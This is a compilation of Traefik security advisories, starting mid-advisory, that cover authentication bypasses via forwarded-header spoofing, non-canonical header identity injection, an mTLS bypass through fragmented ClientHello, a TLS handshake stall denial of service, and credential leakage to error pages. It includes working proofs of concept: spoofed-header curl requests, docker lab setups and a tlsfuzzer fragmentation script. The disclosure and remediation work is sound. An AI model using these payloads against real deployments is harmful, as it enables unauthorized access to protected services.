X-Forwarded-Uri: '/admin/secret' -> DENIED X-Forwarded-Uri: '/./admin/secret' -> ALLOWED
Reproduction:
bash docker compose up -d --build --wait curl http://localhost:8080/api/admin/secret # -> 403 curl --path-as-is "http://localhost:8080/api%2e/admin/secret" # -> 200
</details>
---
Summary
There is a high severity authentication bypass vulnerability in Traefik's ForwardAuth and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., X-Forwarded-Proto) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., XForwardedProto). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary An authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical X-Forwarded- headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.
Details This issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.
At ingress, Traefik defines a fixed set of canonical forwarded headers (X-Forwarded-Proto, X-Forwarded-For, etc.):
Reference : pkg/middlewares/forwardedheaders/forwardedheader.go#L29-L36
go var xHeaders = []string{ xForwardedProto, xForwardedFor, xForwardedHost, xForwardedPort,
This logic focuses exclusively on canonical header names and does not account for alias forms such as XForwardedProto. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.
During ForwardAuth processing, request headers are copied wholesale into the auth subrequest:
Reference : pkg/middlewares/auth/forward.go#L401-L408
go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)
This implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.
A similar pattern exists in snippet-based auth:
Reference : pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581
go utils.CopyHeaders(forwardReq.Header, req.Header) RemoveConnectionHeaders(forwardReq) utils.RemoveHeaders(forwardReq.Header, hopHeaders...)
Again, headers are forwarded without enforcing a consistent trust model or canonicalization.
The vulnerability emerges when the auth backend normalizes header names (e.g., treating XForwardedProto and X-Forwarded-Proto equivalently). In that case:
- Traefik sanitizes only canonical headers. - Alias headers remain attacker-controlled. - The auth service merges or evaluates these aliases during normalization. - Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.
This allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.
PoC
1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash). 2. Send a control request (expected: denied):
http GET / HTTP/1.1 Host: target.local User-Agent: poc-control Connection: close
3. Send an exploit request with alias headers (expected: allowed):
http GET /protected HTTP/1.1 Host: app.example.local XForwardedProto: https XForwardedHost: trusted.example Connection: close
Impact This vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.
Suggested Remediation 1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests. 2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and X-Forwarded-). 3. Restrict which headers are forwarded to auth services (prefer explicit allowlists). 4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.
</details>
---
Summary
There is a high-severity authentication bypass vulnerability in Traefik's ForwardAuth middleware when trustForwardHeader=false is configured and Traefik is deployed behind a trusted upstream proxy.
While X-Forwarded- headers (such as X-Forwarded-For, X-Forwarded-Host, and X-Forwarded-Proto) from trusted context are correctly rebuilt, it does not strip or rebuild X-Forwarded-Prefix, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.
When the authentication service makes authorization decisions based on X-Forwarded-Prefix, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.43 - https://github.com/traefik/traefik/releases/tag/v3.6.14 - https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2
For more information
If there are any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary ForwardAuth with trustForwardHeader=false still forwards an attacker-controlled X-Forwarded-Prefix header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on X-Forwarded-Prefix for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.
This was validated this against Traefik v3.6.12 using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the ForwardAuth subrequest handling rather than general ingress header stripping.
Details The vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.
In pkg/middlewares/auth/forward.go, writeHeader first copies all incoming request headers into the auth subrequest:
go func writeHeader(req, forwardReq http.Request, trustForwardHeader bool, allowedHeaders []string) { utils.CopyHeaders(forwardReq.Header, req.Header) ... forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)
It then selectively rebuilds only a subset of forwarded headers when trustForwardHeader=false, for example:
- X-Forwarded-For - X-Forwarded-Method - X-Forwarded-Proto - X-Forwarded-Port - X-Forwarded-Host - X-Forwarded-Uri
However, it does not remove or rebuild X-Forwarded-Prefix, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.
This becomes security-relevant when StripPrefix is used before ForwardAuth. In pkg/middlewares/stripprefix/stripprefix.go, Traefik appends the stripped prefix using Header.Add:
go func (s stripPrefix) serveRequest(rw http.ResponseWriter, req http.Request, prefix string) { req.Header.Add(ForwardedPrefixHeader, prefix)
If the attacker already sent X-Forwarded-Prefix: /admin, and StripPrefix later adds /forbidden, the auth service receives both values in this order:
1. /admin (attacker-controlled) 2. /forbidden (Traefik-generated)
An auth service that uses the first X-Forwarded-Prefix value can therefore be tricked into authorizing a protected route.
Why this appears unintended:
- The docs say trustForwardHeader means "Trust all X-Forwarded- headers" and defaults to false. - The migration notes say X-Forwarded-Prefix is handled like other X-Forwarded- headers and removed from untrusted sources. - The direct-to-Traefik test case behaves consistently with that expectation and returns 403. - Only the auth subrequest path still honors the spoofed X-Forwarded-Prefix.
Relevant source/documentation locations:
- pkg/middlewares/auth/forward.go lines 393-459 - pkg/middlewares/stripprefix/stripprefix.go lines 65-68 - pkg/middlewares/forwardedheaders/forwardedheader.go lines 15-43 - docs/content/reference/routing-configuration/http/middlewares/forwardauth.md lines 59-62 and 130-140 - docs/content/migrate/v3.md lines 192-196
This was only tested and validated with X-Forwarded-Prefix. By source review, other forwarded headers that are copied but not rebuilt in writeHeader may deserve separate review, but I am not claiming impact for them here.
PoC The following uses the official traefik:v3.6.12 Docker image and a mounted traefik.toml, matching the documented deployment style.
1. Create traefik.toml:
toml [entryPoints] [entryPoints.web] address = ":80" [entryPoints.web.forwardedHeaders] trustedIPs = ["172.31.79.0/24"]
[providers] [providers.file] filename = "/etc/traefik/dynamic.toml" watch = false
[log] level = "DEBUG"
[accessLog]
2. Create dynamic.toml:
toml [http.routers] [http.routers.app] entryPoints = ["web"] rule = "Host(app.local) && PathPrefix(/forbidden)" middlewares = ["strip-forbidden", "authz"] service = "backend"
[http.middlewares] [http.middlewares.strip-forbidden.stripPrefix] prefixes = ["/forbidden"]
[http.middlewares.authz.forwardAuth] address = "http://auth:8000/check" trustForwardHeader = false authResponseHeaders = ["X-Auth-First-Prefix", "X-Auth-All-Prefixes"]
[http.services] [http.services.backend.loadBalancer] [[http.services.backend.loadBalancer.servers]] url = "http://backend:80"
3. Create auth.py:
python import json from http.server import BaseHTTPRequestHandler, HTTPServer
class Handler(BaseHTTPRequestHandler): def doGET(self): if not self.path.startswith("/check"): self.sendresponse(404) self.endheaders() return
prefixes = self.headers.getall("X-Forwarded-Prefix") or [] first = prefixes[0] if prefixes else "" payload = { "path": self.path, "firstprefix": first, "allprefixes": prefixes, "xforwardedfor": self.headers.getall("X-Forwarded-For") or [], } print(json.dumps(payload), flush=True)
if first == "/admin": self.sendresponse(200) self.sendheader("X-Auth-First-Prefix", first) self.sendheader("X-Auth-All-Prefixes", "|".join(prefixes)) self.endheaders() self.wfile.write(b"authorized\n") return
self.sendresponse(403) self.sendheader("Content-Type", "application/json") self.endheaders() self.wfile.write(json.dumps(payload).encode() + b"\n")
HTTPServer(("0.0.0.0", 8000), Handler).serveforever()
4. Create frontend.conf:
nginx server { listen 80; accesslog /dev/stdout;
location / { proxyhttpversion 1.1; proxypass http://traefik:80; proxysetheader Host $httphost; proxysetheader X-Forwarded-For $proxyaddxforwardedfor; } }
5. Start the containers:
bash docker network create --subnet 172.31.79.0/24 traefik-readme-net
docker run -d --name traefik-readme-backend \ --network traefik-readme-net \ --network-alias backend \ traefik/whoami
docker run -d --name traefik-readme-auth \ --network traefik-readme-net \ --network-alias auth \ -v "$PWD/auth.py:/app/auth.py:ro" \ -w /app \ python:3.12-alpine \ python /app/auth.py
docker run -d --name traefik-readme-traefik \ --network traefik-readme-net \ --network-alias traefik \ -p 18081:80 \ -v "$PWD/traefik.toml:/etc/traefik/traefik.toml:ro" \ -v "$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro" \ traefik:v3.6.12
docker run -d --name traefik-readme-frontend \ --network traefik-readme-net \ -p 18080:80 \ -v "$PWD/frontend.conf:/etc/nginx/conf.d/default.conf:ro" \ nginx:alpine
6. Send three requests:
Direct to Traefik, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18081/forbidden/test
Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}
Through trusted proxy, no spoofing: bash curl -sS -i \ -H 'Host: app.local' \ http://127.0.0.1:18080/forbidden/test
Expected result: http HTTP/1.1 403 Forbidden ... {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"]}
Through trusted proxy, spoofed header: bash curl -sS -i \ -H 'Host: app.local' \ -H 'X-Forwarded-Prefix: /admin' \ http://127.0.0.1:18080/forbidden/test
Observed result: http HTTP/1.1 200 OK ... X-Auth-All-Prefixes: /admin|/forbidden X-Auth-First-Prefix: /admin X-Forwarded-Prefix: /admin X-Forwarded-Prefix: /forbidden
The backend response confirms that the request reached the protected upstream after the auth service accepted the attacker-controlled prefix.
7. Optional log confirmation from the auth service:
bash docker logs traefik-readme-auth
Observed log sequence: json {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/forbidden", "allprefixes": ["/forbidden"], ...} {"path": "/check", "firstprefix": "/admin", "allprefixes": ["/admin", "/forbidden"], ...}
8. Cleanup:
bash docker rm -f traefik-readme-traefik traefik-readme-backend traefik-readme-auth traefik-readme-frontend docker network rm traefik-readme-net
Impact This is an authentication bypass / trust-boundary bypass.
Affected deployments are those that:
- run Traefik behind a trusted upstream proxy - use ForwardAuth - rely on trustForwardHeader=false to avoid trusting client-supplied forwarded headers - pass X-Forwarded-Prefix to the auth service, which happens by default when authRequestHeaders is empty - make authorization or routing decisions based on X-Forwarded-Prefix, especially when StripPrefix runs before ForwardAuth In those environments, an unauthenticated external attacker can influence the auth service's view of the protected path and gain access to backend routes that should be denied.
</details>
----
Summary
There is a potential vulnerability in Traefik's Basic and Digest authentication middlewares when headerField is configured with a non-canonical HTTP header name.
An authenticated attacker with valid credentials can inject the canonical version of the configured header to impersonate any identity to the backend. Because Traefik writes the authenticated username using a non-canonical map key, it creates a separate header entry rather than overwriting the attacker's canonical one — causing most backend frameworks to read the attacker-controlled value instead.
Patches
- <https://github.com/traefik/traefik/releases/tag/v2.11.42> - <https://github.com/traefik/traefik/releases/tag/v3.6.12> - <https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.3>
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Summary
When headerField is configured with a non-canonical HTTP header name (e.g., x-auth-user instead of X-Auth-User), an authenticated attacker can inject a canonical version of that header to impersonate any identity to the backend. The backend receives two header entries — the attacker-injected canonical one is read first, overriding Traefik's non-canonical write.
Tested on Traefik v3.6.10.
Details
At pkg/middlewares/auth/basicauth.go:92, the authenticated username is written using direct map assignment:
go req.Header[b.headerField] = []string{user}
Go's http.Header map is keyed by canonical names (e.g., X-Auth-User). Direct assignment with a non-canonical key (x-auth-user) creates a separate map entry from any canonical-key entry already present. The attacker's X-Auth-User: superadmin occupies the canonical slot and is never overwritten by Traefik's non-canonical write.
The same bug exists in pkg/middlewares/auth/digestauth.go:100. Notably, forward.go:254 correctly uses http.CanonicalHeaderKey(), showing the fix pattern already exists in the codebase.
PoC
Traefik config (YAML, Docker labels, or REST API):
yaml middlewares: auth: basicAuth: users: ["admin:$2y$05$..."] headerField: "x-auth-user"
Normal request (baseline):
bash curl -u admin:admin http://traefik/secure/test Backend receives: x-auth-user: admin Identity = admin ✓
Attack request:
bash curl -u admin:admin -H "X-Auth-User: superadmin" http://traefik/secure/test Backend receives BOTH headers: X-Auth-User: superadmin ← attacker-injected (canonical key, read first by most frameworks) x-auth-user: admin ← Traefik-set (non-canonical, ignored by most frameworks) Identity seen by backend = superadmin ✗
Control test — when headerField uses canonical casing (X-Auth-User), the attack fails. Traefik's write correctly overwrites the attacker's header.
This is realistic because YAML conventions favor lowercase keys, Traefik docs don't warn about canonicalization, and the pattern of backends trusting the headerField header is recommended in Traefik's own documentation.
Fix suggestion:
go // basicauth.go:92 and digestauth.go:100 — change: req.Header[b.headerField] = []string{user} // to: req.Header.Set(b.headerField, user)
Also strip any incoming headerField header before the auth check with req.Header.Del(b.headerField).
Impact
An authenticated attacker with valid credentials (even low-privilege) can impersonate any other user identity to backend services. If backends use the headerField header for authorization decisions (which is the intended use case per Traefik docs), this enables privilege escalation — e.g., a regular user impersonating an admin.
The attack requires the operator to configure headerField with a non-canonical header name, which is the natural thing to do in YAML and is not warned against in documentation.
</details>
Summary
There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.
When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.
If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).
Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.
1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.
Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).
A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).
A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).
PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user
mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc
CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt
Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no
[dn] CN = whoami.home.arpa
[v3req] subjectAltName = @altnames
[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF
openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf
Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256
cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"
providers: file: directory: /etc/traefik/dynamic watch: true
log: level: DEBUG EOFTRAEFIKCFG
cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls
services: whoami: loadBalancer: servers: - url: "http://whoami:80"
tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG
docker network create traefik-poc
run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0
docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml
watch traefik logs to ensure everything was deployed correctly docker logs traefik
tlsfuzzer setup + frag client script
mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer
python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt
cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os
from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain
class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")
def loadclientcertandkey(certpath, keypath): cert = None key = None
if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)
if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)
return cert, key
def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()
cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)
print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")
print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")
if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")
conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))
ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }
ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]
node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())
if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())
node = node.addchild(ExpectServerHelloDone())
if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())
else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise
if name == "main": main() EOFFRAGSCRIPT
chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate
case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request
case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror
case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key
case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet
case 3 fragmented ClientHello, no client cert (bypass behavior test) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 500 in the record-size you can play with it as long as the client hello sni sniff function returns an EOF
Impact An attacker can bypass route-level mTLS enforcement by fragmenting ClientHello so Traefik pre-sniff fails (EOF) and falls back to default permissive TLS config.
</details>
--
Impact
There is a potential vulnerability in Traefik managing TLS handshake on TCP routers.
When Traefik processes a TLS connection on a TCP router, the read deadline used to bound protocol sniffing is cleared before the TLS handshake is completed. When a TLS handshake read error occurs, the code attempts a second handshake with different connection parameters, silently ignoring the initial error. A remote unauthenticated client can exploit this by sending an incomplete TLS record and stopping further data transmission, causing the TLS handshake to stall indefinitely and holding connections open.
By opening many such stalled connections in parallel, an attacker can exhaust file descriptors and goroutines, degrading availability of all services on the affected entrypoint.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.38 - https://github.com/traefik/traefik/releases/tag/v3.6.9
Workarounds
No workaround available.
For more information
If there are any questions or comments about this advisory, please open an issue.
---
<details> <summary>Original Description</summary>
Traefik's TCP router uses a connection-level read deadline to bound protocol sniffing (peeking a TLS client hello), but then clears the deadline via conn.SetDeadline(time.Time{}) before delegating the connection to TLS forwarding.
A remote unauthenticated client can send an incomplete TLS record header and stop sending data. After the initial peek times out, the router clears the deadline and the subsequent TLS handshake reads can stall indefinitely, holding connections open and consuming resources.
Expected vs Actual
Expected: if an entrypoint-level read deadline is used to bound initial protocol sniffing, TLS handshake reads should remain bounded by a deadline (either the same deadline is preserved, or a dedicated handshake timeout is enforced).
Actual: after protocol sniffing the router clears the connection deadline and delegates to TLS handling; an attacker can keep the TLS handshake stalled beyond the configured read timeout.
Severity
HIGH CWE: CWE-400 (Uncontrolled Resource Consumption)
Affected Code
- pkg/server/router/tcp/router.go: (Router).ServeTCP clears the deadline before TLS forwarding - conn.SetDeadline(time.Time{}) removes the entrypoint-level deadline that previously bounded reads
Root Cause
In (Router).ServeTCP, after sniffing a TLS client hello, the router removes the connection read deadline:
// Remove read/write deadline and delegate this to underlying TCP server // (for now only handled by HTTP Server) if err := conn.SetDeadline(time.Time{}); err != nil { ... }
TLS handshake reads that happen after this point are not guaranteed to have any deadline, so a client that stops sending bytes can keep the connection open indefinitely.
Attacker Control
Attacker-controlled input is the raw TCP byte stream on an entrypoint that routes to a TLS forwarder. The attacker controls:
1. Sending a partial TLS record header (enough to trigger the TLS sniffing path) 2. Stopping further sends so the subsequent handshake read blocks
Impact
Each stalled connection occupies file descriptors and goroutines (and may consume additional memory depending on buffering). By opening many such connections in parallel, an attacker can cause resource exhaustion and degrade availability.
Reproduction
Attachments include poc.zip with a self-contained integration harness. It pins the repository commit, applies fix.patch as the control variant, and runs a regression-style test that demonstrates the stall in canonical mode and the timeout in control mode.
Run canonical (vulnerable):
unzip poc.zip -d poc cd poc make test
Canonical output excerpt: PROOFMARKER
Run control (deadline preserved / no stall):
unzip poc.zip -d poc cd poc make control
Control output excerpt: NCMARKER
Recommended Fix
Do not clear the entrypoint-level deadline prior to completing TLS handshake, or enforce a dedicated handshake timeout for the TLS forwarder path.
Fix accepted when: an incomplete TLS record cannot stall past the configured entrypoint-level read deadline (or an explicit handshake timeout), and a regression test covers the canonical/control behavior.
</details>
Summary
There is a medium severity information disclosure vulnerability in Traefik's errors (custom error pages) middleware. When the backend returns a response matching the configured status range, the middleware forwards the original request's complete header set, including Authorization, Cookie, and other authentication material, to the separate error page service rather than only the minimal context needed to render the error page. This behavior is undocumented: the documentation states only that Host is forwarded by default, so operators are not warned that sensitive credentials are shared across service boundaries. Deployments using the errors middleware with a distinct error page service may inadvertently expose end-user credentials to infrastructure that was not intended to receive them.
Patches
